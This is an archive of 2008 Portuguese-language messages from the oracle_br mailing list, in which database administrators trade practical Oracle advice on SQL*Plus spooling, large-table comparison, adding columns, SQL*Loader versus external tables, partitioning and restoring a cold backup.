Crie um arquivo com o sql que voce deseja executar e da um @arquivo.sql daí nao vai aparecer o comando... 2008/7/28 francisco porfirio [EMAIL PROTECTED]: Rafael... Utilizei esse parametro que você falou mas não teve adiantou. O meu código está da seguinte forma Spool C:\Output.txt SET pagesize 40; SET LINESIZE 70; SET SPACE 3; SET echo OFF; SET feedback OFF; SET TERMOUT OFF; ttitle LEFT 'Tipos de cláusulas ' RIGHT 'PÁGINA: ' SQL.PNO SKIP 2 SELECT ncc.nct_codigo_controleAS Cod. Controle, ncc.nct_descricao_controle AS Descricao, ncc.nct_natureza AS Natureza FROM inf_numeros_controle_clausulas ncc WHERE ncc.nct_natureza = 'P' AND NOT EXISTS ( SELECT 1 FROM inf_clausulas_plano cp WHERE cp.clp_nct_codigo_controle = ncc.nct_codigo_controle) ORDER BY 1; Spool OFF -- Atenciosamente Francisco Porfirio Ribeiro Neto [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Comparação de Dados entre Tabelas Grandes!
Renata, me parece que esse processo será frequente, nesse caso, eu criaria uma coluna com o valor hash dos dados da linha e obviamente colocaria um indice pra isso. aí é select 't1', col_hash from t1 minus select col_hash from t2 union select 't2', col_hash from t2 minus select col_hash from t1; 2008/7/23 Renata de Oliveira [EMAIL PROTECTED]: Olá pessoal, bom dia, tdo bem?! Gostaria de verificar se os amigos podem me ajudar com algumas dicas Preciso fazer uma comparação de dados entre tabelas, porém trata-se de tabelas mto grande, com aproximadamente 100.000.000 de registros. Alguém teria alguma dica, ou já fez algo parecido?! Utilizando alguma solução onde a performance tenha sido boa?! Pois como isso será um processo executado talvez diariamente, estou preocupada, e buscando alternativas. PS: Esse processo seria para diagnosticar que um grupo de tabelas estejam exatamente iguais com os mesmos dados, após um processo noturno que faz a copia e atualização entre esses grupos. Pois estamos verificando problemas de diferença de dados devido à intervenções manuais, e devido à restrições da empresa não podemos fazer utilização de Triggers. Se alguém puder ajudar, fico grata! Obrigada à todos! Att, Renata de Oliveira -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] RHEL5 64bit x Oracle10gR1 64bit: é possível?
O Oracle 10g(R1) não eh homologado para o RHEL5 2008/5/13 jljlsilva [EMAIL PROTECTED]: Senhores, bom dia. Gostaria de saber se alguém aqui do grupo já instalou Oracle10gR1 em RHEL5 64bit. Não encontrei informação de homologação no metalink... Obrigado. -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Adicionar Coluna
Adiciona ela sem valor default, coloca o default depois. Da update aos poucos nos valores (talvez em algum periodo mais ocioso do banco). Outra opcão a se considerar é deixar os valores antigos nulos e substituir nulo pelo valor default na sua consulta. On 15/04/2008, Nelson Cartaxo [EMAIL PROTECTED] wrote: Pessoal bom dia, Alguem poderia me dar alguma sugestão Oracle 10g(10.2.0.3) Solaris 10 máquina E20k Seguinte, preciso adicionar uma coluna com default em uma tabela com 190 milhoes de registros. Fazer isso usando o simples add column fica inviavel pois demora muito tempo. Alguem teria alguma sugestão e poderia passar um exemplo, talvez com insert/*+ append*/? Obrigado. Att, Nelson Abra sua conta no Yahoo! Mail, o único sem limite de espaço para armazenamento! http://br.mail.yahoo.com/ -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Sqlloader
Chiappa, voce considera external table como um substituto do loader? Voce ja comparou a performance dos dois? 2008/4/12 jlchiappa [EMAIL PROTECTED]: O sql*loader é um programa executável externo, assim como qquer outro programa executável pode ser executado a partir dum stored PL/SQL com as seguintes técnicas : - criando-se um programa daemon (ou mesmo shell script) que receba o texto do comando a executar (via pipes ou va pooling em arquivo-texto), em qquer versão do banco e/ou - via exteral procedure ou java, se banco 8i ou 9i e/ou - via scheduler, se banco 10g pesquise em http://asktom.oracle.com por cada uma das técinas, que vc acha diversos exemplos. E claro, lembro também que vc ** NÃO ** mais precisa necessariamente executar o sql*loader pra carregar/ler arquivos texto desde a versõ 9i do banco, pois passou a existir a figura da EXTERNAL TABLE, que com ela vc lê e carrega dados de um arquivo-texto SEM ter que chamr o executável do loader, pense nela como uma versão melhorada e nativa do loader... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, francisco porfirio [EMAIL PROTECTED] escreveu Pessoa, Alguem sabe se existe alguma forma de chamar a execução do sqlloader via PL/SQL? -- Atenciosamente Francisco Porfirio Ribeiro Neto [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Particionar Tabelas já criadas
Para particionar uma tabela não-particionada, sim, você deve recriá-la. Lembro que particionamento no Oracle não é gratuito, você deve pagar licensa adicional para este recurso. 2008/4/11 maykelsb [EMAIL PROTECTED]: Pessoal, estamos estudando o particionamento de tabelas, para implementarmos em algumas tabelas de nossa estrutura. Após realizar algumas pesquisas, surgiu a dúvida, a única maneira de criar partições é durante a criação da tabela? Até o momento acredito que seja possível adicionar novas partiçõess a uma tabela já criada. Grato! -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Problemas para restaurar backup FRIO
é windows ou linux? 2008/4/11 Rodrigo Mufalani [EMAIL PROTECTED]: Só uma pergunta, o banco original se chamava backup ? set oracle_sid=bacup Para vc fazer isso precisa usar o SID antigo, ou usar o utilitario NID que foi inclusive discutido ontem aqui na lista. Mensagem Original: Data: 16:19:06 11/04/2008 De: amorrimm [EMAIL PROTECTED] Assunto: [oracle_br] Re: Problemas para restaurar backup FRIO Reiniciei o servidor e consegui me logar como SYSDBA. Executei o ALTER DATABASE CLEAR LOGFILE GROUP e recriei os grupos 2 e 3 mas, quando tento colocar o banco em OPEN, ele me da um erro: ORA 24324 - HADLE DE SERVICOS NÃO INICIALIZADO / ORA 01041 - ERRO INTERNO - A EXTENSÃO HOSTDEF NAO EXISTE. Não consigo fazer mais nada..nem shutdown, nem startup..nadinha... alguem tem alguma ideia ? --- Em oracle_br@yahoogrupos.com.br, amorrimm [EMAIL PROTECTED] escreveu Boa tarde pessoal, tudo bom ? Tenho um backup frio que estou tentando restaurar. Tive um problema em um disco e tive que re-instalar o Oracle 9i. Fiz a copia de todos os datafiles, 1 control file, init.ora, sqlnet, listener.ora, o arquivo de senhas e o Spfile. Fiz um trabalhinho basico de copiar e colar, montando as pastas para ter a estrutura que eu tinha anteriorente mas, quando após setar a instancia (set oracle_sid=bacup), tentei me logar como sys e tive a mensagem de erro me informando que não havia listener. OK. Executei o lsnrctl start e o listener subiu. Tentei me logar novamente e recebi a informação (Ora 12500 - Listener Falhou ao Iniciar um Processo de Servidor Dedicado.) Alguem poderia me ajudar ? Estou falhando em algo para restaurar este backup frio ? -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos Atenciosamente, Rodrigo Mufalani Oracle 10g Adm Certified Professional Cel .: 8269-5062 Na Oi Internet você ganha ou ganha. Além de acesso grátis com qualidade, você pode ter contas ilimitadas de email com 1 giga cada uma, suporte grátis e muito mais. Baixe grátis o Discador Oi em http://www.oi.com.br/discador e comece a ganhar. Agora, se o seu negócio é voar alto na internet, assine Oi Internet Banda Larga e ganhe o modem grátis. Clique em http://www.oi.com.br/bandalarga e aproveite essa moleza! -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Problemas para restaurar backup FRIO
Utilize o mesmo SID original. Registre seu banco com o ORADIM. 2008/4/11 amorrimm [EMAIL PROTECTED]: Op O SID que utilizei é so ficticio...era ORAGIGA... Isto esta contecendo em Windows... Agora por exemplo, me loguei como sysdba e recriei os redologs, multiplexei os controlfiles...tudo certinho...isso tudo em nomount...mas, quando tento um startup open, ele esta me dando o erro: ORA 03113 - FIM DE ARQUIVO NO CANAL DE COMUNICAÇÃO Sinistro...alguem tem alguma ideia ? Será que pode ser algum problema no Spfile ? To pensando em excluir ele e utilizar um init.ora original --- Em oracle_br@yahoogrupos.com.br, Rodrigo Mufalani [EMAIL PROTECTED] escreveu Só uma pergunta, o banco original se chamava backup ? set oracle_sid=bacup Para vc fazer isso precisa usar o SID antigo, ou usar o utilitario NID que foi inclusive discutido ontem aqui na lista. Mensagem Original: Data: 16:19:06 11/04/2008 De: amorrimm [EMAIL PROTECTED] Assunto: [oracle_br] Re: Problemas para restaurar backup FRIO Reiniciei o servidor e consegui me logar como SYSDBA. Executei o ALTER DATABASE CLEAR LOGFILE GROUP e recriei os grupos 2 e 3 mas, quando tento colocar o banco em OPEN, ele me da um erro: ORA 24324 - HADLE DE SERVICOS NÃO INICIALIZADO / ORA 01041 - ERRO INTERNO - A EXTENSÃO HOSTDEF NAO EXISTE. Não consigo fazer mais nada..nem shutdown, nem startup..nadinha... alguem tem alguma ideia ? --- Em oracle_br@yahoogrupos.com.br, amorrimm ammorim@ escreveu Boa tarde pessoal, tudo bom ? Tenho um backup frio que estou tentando restaurar. Tive um problema em um disco e tive que re-instalar o Oracle 9i. Fiz a copia de todos os datafiles, 1 control file, init.ora, sqlnet, listener.ora, o arquivo de senhas e o Spfile. Fiz um trabalhinho basico de copiar e colar, montando as pastas para ter a estrutura que eu tinha anteriorente mas, quando após setar a instancia (set oracle_sid=bacup), tentei me logar como sys e tive a mensagem de erro me informando que não havia listener. OK. Executei o lsnrctl start e o listener subiu. Tentei me logar novamente e recebi a informação (Ora 12500 - Listener Falhou ao Iniciar um Processo de Servidor Dedicado.) Alguem poderia me ajudar ? Estou falhando em algo para restaurar este backup frio ? - - Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ - - Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ - --- Links do Yahoo! Grupos Atenciosamente, Rodrigo Mufalani Oracle 10g Adm Certified Professional Cel .: 8269-5062 --- - Na Oi Internet você ganha ou ganha. Além de acesso grátis com qualidade, você pode ter contas ilimitadas de email com 1 giga cada uma, suporte grátis e muito mais. Baixe grátis o Discador Oi em http://www.oi.com.br/discador e comece a ganhar. Agora, se o seu negócio é voar alto na internet, assine Oi Internet Banda Larga e ganhe o modem grátis. Clique em http://www.oi.com.br/bandalarga e aproveite essa moleza! -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Funções, Procedures, propostas de emprego - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos